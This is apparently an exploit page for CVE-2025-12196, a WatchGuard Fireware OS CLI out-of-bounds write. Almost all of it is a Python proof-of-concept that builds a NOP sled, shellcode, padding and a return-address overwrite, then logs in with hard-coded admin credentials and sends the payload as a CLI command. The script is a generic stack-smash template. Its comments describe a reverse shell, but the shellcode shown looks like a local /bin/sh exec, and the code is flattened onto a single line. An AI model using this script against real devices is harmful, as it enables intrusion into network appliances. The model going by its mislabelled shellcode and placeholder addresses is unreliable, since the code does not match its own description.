CVE-2025-12196 | WatchGuard Fireware OS CLI越界写入漏洞

#!/usr/bin/env python3 # CVE-2025-12196 PoC - WatchGuard Fireware OS CLI Out-of-bounds Write # Note: This is a conceptual PoC for educational purposes only # Requires authenticated high-privilege access to WatchGuard Fireware OS CLI import socket import struct import sys def create_exploit_payload(): """Generate a crafted CLI command payload to trigger OOB write""" # NOP sled for shellcode alignment nop_sled = b'\x90' * 100 # Linux/x86 reverse shell shellcode (example) # Connects back to attacker on port 4444 shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Padding to reach the return address overwrite position padding = b'A' * (500 - len(nop_sled) - len(shellcode)) # Overwrite saved return address with address of nop sled return_addr = struct.pack('<I', 0xBFFF1000) # Example stack address payload = nop_sled + shellcode + padding + return_addr return payload def send_malicious_cli_command(target_ip, target_port, payload): """Send crafted CLI command via SSH or Telnet""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Login with valid high-privilege credentials s.send(b'admin\n') s.send(b'password\n') # Send crafted CLI command triggering OOB write # Example: cli-command with oversized parameter malicious_cmd = f'debug cli-command {payload.decode("latin-1")}'.encode('latin-1') s.send(malicious_cmd + b'\n') s.close() print(f'[+] Exploit payload sent to {target_ip}:{target_port}') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_ip> <port>') sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) payload = create_exploit_payload() send_malicious_cli_command(target_ip, target_port, payload)